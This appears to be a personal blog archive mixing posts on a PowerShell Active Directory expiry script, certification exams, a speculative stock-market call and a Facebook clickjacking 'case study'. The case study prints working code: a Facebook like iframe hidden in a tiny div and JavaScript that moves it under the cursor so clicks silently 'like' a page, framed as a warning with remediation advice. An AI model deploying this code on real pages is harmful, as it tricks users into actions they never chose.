Archive for the ‘Uncategorized’ Category

PowerShell: Find User Accounts Expiring in 7 days

This may help some of you; it looks for accounts within a certain OU and outputs their expiration date and email if their account expires in 7 days (no more, no less!).

# Inspired by: http://gallery.technet.microsoft.com/scriptcenter/Email-Active-Directory-452a5640
# Modified for use by; Salomon Johns
# Find users within a certain OU that have accounts expiring in 7 days (no more, no less)
# Print out the results
Get-QADUser -ou "ou=users,dc=test,dc=domain,dc=local" -includedproperties AccountExpires -sAMAccountName '*' |
ForEach-Object {
	$sevendays = (Get-Date).AddDays(7).ToString('yyyyMMdd')
	$samaccountname = $_.samAccountName
	$mail = $_.email
	$expirationdate = Get-Date $_.AccountExpires -format yyyyMMdd
	if ($expirationdate -eq $sevendays) 
		{
			Write-Host $mail,$expirationdate
		}
	}

Hope this helps out anyone that was looking for something like this. Again I only take credit for modifying it to do what I want to.

Other requirements: http://www.quest.com/powershell/activeroles-server.aspx

Further reading: If you want to change the amount of days to say 15, 21, 30, etc. All you have to do is change the following line:

From:

$sevendays = (Get-Date).AddDays(7).ToString('yyyyMMdd')

To:

$sevendays = (Get-Date).AddDays(14).ToString('yyyyMMdd')

This would in effect change it to search for accounts expiring in two weeks.

Passed the 70-642

Well, the test was actually harder than I thought, I still passed with a score in the 800′s. I will say that the book that I purchased did lack a little. The book I used as my primary study resource was MCTS Self-Paced Training Kit (Exam 70-642): Configuring Windows Server 2008 Network Infrastructure. Another friend of mine took this exam a few weeks ago, using a combination of this book and Trainsignal, he mentioned that the combination was great. On my next exam I am likely to be combining both trainsignal and the text book (70-640). I hope to have this one passed by mid-june. I will make a post regarding my thoughts on the video and textbook study method. This on top of virtual machines and hands on.

70-642 Exam

Well this week ended up pretty interesting, I finished up reading the 70-642 book and will be scheduling my exam here with in the next 5-7 days. Hopefully I pass, on the review questions I have done pretty well, but have some areas where I feel I need to improve a bit.

On the next exam (70-640), I am going to change up my study method and likely order trainsignal and see how I feel with their product instead of reading the book. I love reading, but would like to give another study method a try and see how I do. I have heard great things about them and some of my colleagues speak well of their products for prepping for an exam.

DJIA to fall this week?

While, I can’t say tomorrow the market is going to go down, I have some speculation that it may, from a technical trading point of view.

1 Month Chart – So basically here what we are looking at is a hammer candle. Usually it is indicative of a reversal, towards the top of a rally it suggests that we are almost at the peak.

Zoomed out chart, each candle is 1 month.

1 Week Chart – The least convincing of the three to me however, after looking towards the more recent weeks, it looks like we almost have a bullish rising three going, a better example can be found here. It also looks like we broke a bit of resistance, but aren’t home free yet.

1 Week Chart

Zoomed out chart, each candle is 1 week.

1 Day Chart – The one day chart again has the hammer, suggesting that the end to the rally is near, this also happened to be the point before a resistance point was broken.

DJIA 1D Zoomed Chart

After looking at all of this, I believe that the market may pull back a bit, we have had 8 months of gains, since the market bottomed out this has been our best streak so far. While I believe we have broken some resistance in the 1w chart, I am not convinced we are home free for another month of a gains. There are technical indicators that suggest that the market will go down, but there has been a decent amount of good news to go around. Let’s see what happens tomorrow :) !

Case Study: Dangers of leaving your facebook signed in

Many of my friends including myself have a facebook account. I am sure there will be a few that remain with the saying or sentiment of “who would want to do that to me?” or “that won’t happen to me”. Well today, I will present to you something I stumbled upon. Some background I surf the website digital point to see what’s on the market as far as business or just curiosity, and I ran into a thread “Facebook AUTO LIKE and POST to wall!!!” My first thought was “WOW this is fool proof for someone trying to get exposure to their website!” All they need is a high amount of pop-up traffic and something to lure users to click on it. However after a few moments of thinking of it, the danger and risk set in. How can this be abused? Say you are not trying to promote a product, but instead are trying to push out malware? How can you have an influence on say 50 or even 200+ users seeing this? In this short article I am going to outline how this works, and explain how more or less this could be misused.

For you non-tech savvy users, you can skip to the reccomendations / remediation portion. For those of you fellow geeks here this how this works;

<!--facebook like frame code goes here-->

<iframe src="http://www.facebook.com/plugins/like.php?href=http://www.mangawhat.com&amp;layout=standard&amp;show_faces=false&amp;width=450&amp;action=like&amp;font=tahoma&amp;colorscheme=light&amp;height=80" scrolling="no" frameborder="0" style="border:none; overflow:hidden; width:50px; height:23px;" allowTransparency="true" id="fbframe" name="fbframe"></iframe>

<!--end facebook like frame code-->

The above code shows one of my URL’s. So in the examples following this, I will not lead you to a domain that I believe to be unsafe. Basically this is the iframe that facebook provides webmasters to put on their website(s) so that a user may like it. In normal practice there is nothing wrong with this.

What has been done to this is, it was put into a div, with the id “icontainer” and been given these properties:

<div style="overflow-x: hidden; overflow-y: hidden; width: 10px; height: 12px; position: absolute; opacity: 50; top: 363px; left: 584px; " id="icontainer">

</div>

The importance of the above code is broken down as; any overflow is hidden, the width and height is 10×12 (pretty small), it is set to invisible so the user can’t even see it.

<script type="text/javascript">var interval;
$(function()
{
interval=setInterval("updateActiveElement();", 50);
});
function updateActiveElement()
{
if ( $(document.activeElement).attr('id')=="fbframe" )
{
clearInterval(interval);
iflag=1;
}
 }

</script>

and

<script>
var iflag = 0;
var icontainer = document.getElementById('icontainer');
 var standardbody=(document.compatMode=="CSS1Compat")? document.documentElement : document.body //create reference to common "body" across doctypes
function mouseFollower(e){
/*                    DO NOT EDIT THIS                         */
if (window.event)
{ // for IE
icontainer.style.top = (window.event.y-5)+standardbody.scrollTop+'px';
icontainer.style.left = (window.event.x-5)+standardbody.scrollLeft+'px';
}
else
{
icontainer.style.top = (e.pageY-5)+'px';
icontainer.style.left = (e.pageX-5)+'px';
}
 }
document.onmousemove = function(e) {
if (iflag == 0) {mouseFollower(e);}
}

</script>

I am no javascript guru, but based on the source it is powered off of those two and jQuery used by many webmasters. I am sure someone in the comments will correct me if I am wrong on this one; the javascript is basically something designed to follow the mouse, “icontainer” as mentioned earlier is the element that contains the “div” to the code that the potentially malicious user wants you to click on.

Recommendations / Remediation:

I have no official recommendation with regards to fixing this. Sign out of your facebook when your done, or when you wont be at your desk for a while if others are using that machine as well. As an alternative sign in with a different browser. Such as use IE for facebook and Firefox to browse.

Possible Misuse:

Could this be misused? I have no doubt, lets throw in a hypothetical siuation. Say you have a facebook with 400 friends, you post this inadvertently, 40 users see it, and only 15 click on it, this is like the snowball effect because more and more users will see it. It could potentially be used to push out malware if used this way or to simply promote some website. I have seen other methods like this used, however have not seen this type of thing for sale until today. Could this be used for something other than posting stuff to my wall? I would not rule that out.

Example in action:
This example shown will not make you “like” or post anything offensive on your facebook, once you are done, remove the post from your wall if you would like. Click here for the example.

An update

Well its been a while since I posted. I am going to begin posting a bit more often, on topics such as Linux and Perl as I try to slowly learn them. Also I may post some stuff related to gaining the MCITP: Enterprise Server Administrator certification since I am currently working on that.

16777226 Score in Snake

How to get a 16777226 score on the facebook game snake. This is just for fun, I did NOT discover how to do this, I just changed the score I wanted and put up a video.

A few months later!

Well its been a few months since I updated the blog, I am going to try to start updating it a little bit more.

Security+ Exam

Well its been a few days since my last update, now much is new, I’m going to be studying for CompTIA’s Security+ exam. As a study guide I picked up a copy of All-in-One’s CompTIA Security+ Exam Guide, Second Edition. I plan to take the exam sometime during the 3rd week of March, which gives me a bit of time to recover from having my wisdom teeth taken out and to begin studying. Upon completion of the exam, I will make a post (part 2 to this) with a review of the test, how the book helped, and what all I don’t recall seeing in the book.

February

Well, its been almost a month since my last update, I’m back stateside so I should be updating the blog more with random stuff, such as my occasional swing trades, stuff I do in class that I think its cool, etc. I personally haven’t been up to too much, playing Counter Strike again with some friends and applying for jobs while I continue taking online classes. Many of you will notice we switched back to the old style on the blog, I just wasn’t as font of this one as I was hoping to be. It looked cool at first, but it wasn’t the greatest thing on earth. I’m open to suggestions if anyone has a theme they like better or think would be better for a personal blog mixed with some of my geek related stuff I post about.